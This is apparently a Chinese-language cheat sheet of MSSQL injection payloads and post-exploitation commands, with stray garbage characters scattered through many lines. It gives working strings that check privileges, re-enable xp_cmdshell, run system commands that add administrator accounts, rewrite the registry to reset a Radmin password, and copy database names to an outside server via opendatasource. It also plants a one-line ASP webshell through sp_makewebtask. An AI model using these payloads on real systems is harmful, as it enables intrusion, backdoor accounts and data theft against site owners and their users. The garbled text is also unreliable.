//看看是什么权限的: a' A: A2 U4 ?: j
and 1=(Select IS_MEMBER('db_owner')); ^% ]# ` B' q; d
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- N3 z/ P' Z9 e5 D" a
" K0 k& s6 F" e ~# @//检测是否有读取某数据库的权限
& p; d. I$ ?9 m, c+ f9 i( \! mand 1= (Select HAS_DBACCESS('master'))
}7 r2 z- w( D- W1 f, n. e0 tAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --8 t( Y3 S6 C# F0 C# D
% D5 z& {! U8 `- v- L! J) x
( T3 r, Z U* a0 R! P t7 N8 }
数字类型
" _: q5 @: ^; t+ K) u; |. K. R( ]and char(124)%2Buser%2Bchar(124)=0
3 ?' P) D2 d# R3 ]$ |- n( l$ h, I' \' h4 j& S7 j" n: ^0 r
字符类型
9 P2 w s/ E$ u- w" ^. W' and char(124)%2Buser%2Bchar(124)=0 and ''='
6 u$ @; }0 j5 ~7 Z( A: R
! p' Y. C& g$ Y$ o, ?( w搜索类型
% P3 E1 l9 f: z5 }! i' and char(124)%2Buser%2Bchar(124)=0 and '%'=': D" D7 B+ Y7 C' ]$ A
4 N, b2 I* M1 S+ i9 b爆用户名0 `3 G3 x2 _4 l" r* A: k: i
and user>0
* x2 T# A* |7 e! r$ A' and user>0 and ''='
1 H. f+ A1 K. X) G6 o8 ]- n) }6 E4 k+ ^( W" F1 T0 Z
检测是否为SA权限0 }; V; `. m8 U& }8 Q- |: `* ~
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 A# _! X3 Q! r ^4 ^/ A% a' hAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --) w; O" u% o5 \6 n
6 N& l# K1 }# Z& T" R t0 o
检测是不是MSSQL数据库! S1 U% ~+ h0 H$ b/ U# P
and exists (select * from sysobjects);--
( w t# J7 |$ l+ j/ V. W4 e7 O9 l% d" a+ L* C8 |. s
检测是否支持多行9 l x( S5 [/ E! C
;declare @d int;--) C) w3 I% i/ j) a; H) c R
9 M, V7 z3 g9 p恢复 xp_cmdshell8 N# Y" k9 A9 ]/ u& m7 W; P
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--9 q5 ~5 K5 y& W
. M0 x l( N9 n7 F& P+ `
8 u* D" U: N) C
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
2 {( ]. [& I- C1 j: w* b$ a: X3 A& K3 ~7 S7 U6 s9 @
//-----------------------
) A: B- R' c9 `( g7 d; {// 执行命令5 m. X6 d$ ^5 P8 q" G
//-----------------------
/ p% x# j0 Y0 d/ |% ` E! S/ P首先开启沙盘模式:
$ f) R, J* s+ B! Cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 A) [! [5 n0 e
8 _8 q' D7 ?9 @
然后利用jet.oledb执行系统命令
" ]4 Q7 s$ v0 U) n' Mselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 @' M% p8 v. t
9 \+ w# y/ P/ u; e
执行命令# F" l+ Y5 Q2 L" {& A( D% g# g
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--" T6 o% W4 {. z- a3 [( N
2 r4 F! k6 ?# _- `, }2 _EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'. }- q; V2 x8 X+ n5 x' x
% Z9 b9 c; S: e- E; g
判断xp_cmdshell扩展存储过程是否存在:& f$ `6 i# H/ q! F
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
z6 o! f$ j$ S0 O
/ `7 p' R b- j& e; a' B- F写注册表
& M, w6 Y. O) a3 N; Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 A3 ` u1 c( c+ O( F
' ]! G d! ~4 U* V- h! xREG_SZ* _6 O' |" `3 O ^
+ j0 {' U/ U w5 I' S4 B& z
读注册表
m# u6 J6 B, J9 h% nexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'1 I5 ]2 L" o, A6 `6 e" ~+ n
/ _) x5 l8 B3 l: }读取目录内容
! E. a5 ^0 I d5 \' hexec master..xp_dirtree 'c:\winnt\system32\',1,1
' `! V! \* X h+ U6 Z6 N7 W; X& u* F
+ Q# h. e* x. J5 e1 F数据库备份( M$ q) J! g1 o( t
backup database pubs to disk = 'c:\123.bak'
/ @! Z) b, k/ s% D% A
! H' P( B9 Z* m: F" `+ J//爆出长度
" \$ e7 A. b O) z4 ^9 q% SAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 a5 S; t. b; ^# f, G
5 o( z$ o \# o! Q8 h) q0 w, v! z( R3 P5 k( c+ v
6 T( _$ {3 R% T; M更改sa口令方法:用sql综合利用工具连接后,执行命令:
- Z4 {* I6 L. U8 [exec sp_password NULL,'新密码','sa'+ Q0 n$ M# [3 h9 u* {) y1 ^
3 }- K) m# W& N5 L5 F
添加和删除一个SA权限的用户test:
: K% D# |9 n7 h# v( L+ O5 ^exec master.dbo.sp_addlogin test,95307725 N% D% i2 o1 z3 N1 _
exec master.dbo.sp_addsrvrolemember test,sysadmin; b m1 i, r T
6 g2 j9 E$ Y4 h- v2 z" k删除扩展存储过过程xp_cmdshell的语句:
$ d0 @1 {# O- g! c+ E$ @exec sp_dropextendedproc 'xp_cmdshell'
, z4 I) X! y7 G2 ?* y" Q. k" t! n2 L; `0 C
添加扩展存储过过程; f+ R: M2 F# }( E
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
9 z. v% t. C1 D2 v' C4 iGRANT exec On xp_proxiedadata TO public( W6 ? d( ]. W& \+ ~
% Q; W3 l0 J+ }/ V8 H) M! C2 \: ]( j) D- E3 f$ r
停掉或激活某个服务。$ m. ^4 `) q/ ]4 b" C7 X
1 a j; R4 @8 P8 dexec master..xp_servicecontrol 'stop','schedule'
+ s6 a/ `& t# g; b* p+ G% vexec master..xp_servicecontrol 'start','schedule'
% z; N& x% l4 t9 L3 L$ K
! b7 X$ z' A( j5 Z. K, Jdbo.xp_subdirs
& G7 D8 C6 j( c2 g9 k" \: z' d& w' M
只列某个目录下的子目录。
8 N' w5 G+ ~7 k4 k+ Dxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
% j: `4 c# w) C+ {( h, \
$ k) L8 A7 i4 Zdbo.xp_makecab7 X' D4 Q: k$ S! q) H/ |
# X1 R! v" ?- c: m将目标多个档案压缩到某个目标档案之内。
0 O& ?/ n6 D6 v1 }3 v所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。7 A3 _3 n" m" N1 T3 G
. q! z; o3 J! y& V
dbo.xp_makecab h2 j L s8 S F* J* r5 j! B( Y
'c:\test.cab','mszip',1,$ x; g V- J" g+ S- S8 V: c
'C:\Inetpub\wwwroot\SQLInject\login.asp',) C' }! T6 K+ i" J8 U, T
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
@4 ~. f! l& r* ]% W9 T2 U; w) [3 \# m. U5 }
xp_terminate_process
# t) u( V2 t# ^* ~' W
, J* |0 X" R; W4 k" y' h停掉某个执行中的程序,但赋予的参数是 Process ID。3 m: c/ [2 U! ?9 s: ]
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
: q7 i. s0 ?( ?/ f: D. o' x
0 z9 `2 ^" Q/ `- M8 cxp_terminate_process 2484
' N; _+ V* S W8 ?5 E& _% B# g F! t) f: {4 V- H; M# y1 A$ Y' G C
xp_unpackcab0 }! D5 K; ]3 L0 ?
- ^: `4 k+ M6 P$ s2 V- g解开压缩档。
. U' Y2 N2 w) k: _ z/ ^5 @; u2 d1 y; W" _# y
xp_unpackcab 'c:\test.cab','c:\temp',10 D* J' c" \' e: @
& r: t8 _5 B) p. d1 ]
, _! v- t& Z5 l0 a% O/ p: V
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12342 ?/ I: H, a+ L+ u. j i& g
( J9 F; Z$ ?! s# Z, }create database lcx;4 h r9 U9 z* P3 S& o
Create TABLE ku(name nvarchar(256) null);1 ~% b8 u7 ?7 H% T9 U
Create TABLE biao(id int NULL,name nvarchar(256) null);
+ Q! O5 d/ G+ t% @$ t0 o. r4 D( u5 f( j( L" J
//得到数据库名
1 m, @/ K0 \8 M( ]: u* H; iinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
" n/ C4 _/ B5 e0 y
6 M9 q/ O, b/ f2 j |2 \8 Q- Q8 T' ~" Q
//在Master中创建表,看看权限怎样. J, x$ j! i- u+ o7 u
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; B2 l" c" q+ b" f, G
$ M, q9 H d; C: z4 K9 z用 sp_makewebtask直接在web目录里写入一句话马:- }( I: R* @4 b: `0 y
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--5 h8 U9 h9 {2 ^$ V9 l+ N5 v
7 e; m4 v+ i" Y2 p//更新表内容
, T. O- |" C; U7 z' t9 x# ~! s3 NUpdate films SET kind = 'Dramatic' Where id = 123% m {+ a& w5 L1 l+ f
( L4 y1 k2 q* b9 Q//删除内容
8 L; i4 o6 I1 l. G* |" ~delete from table_name where Stockid = 3 |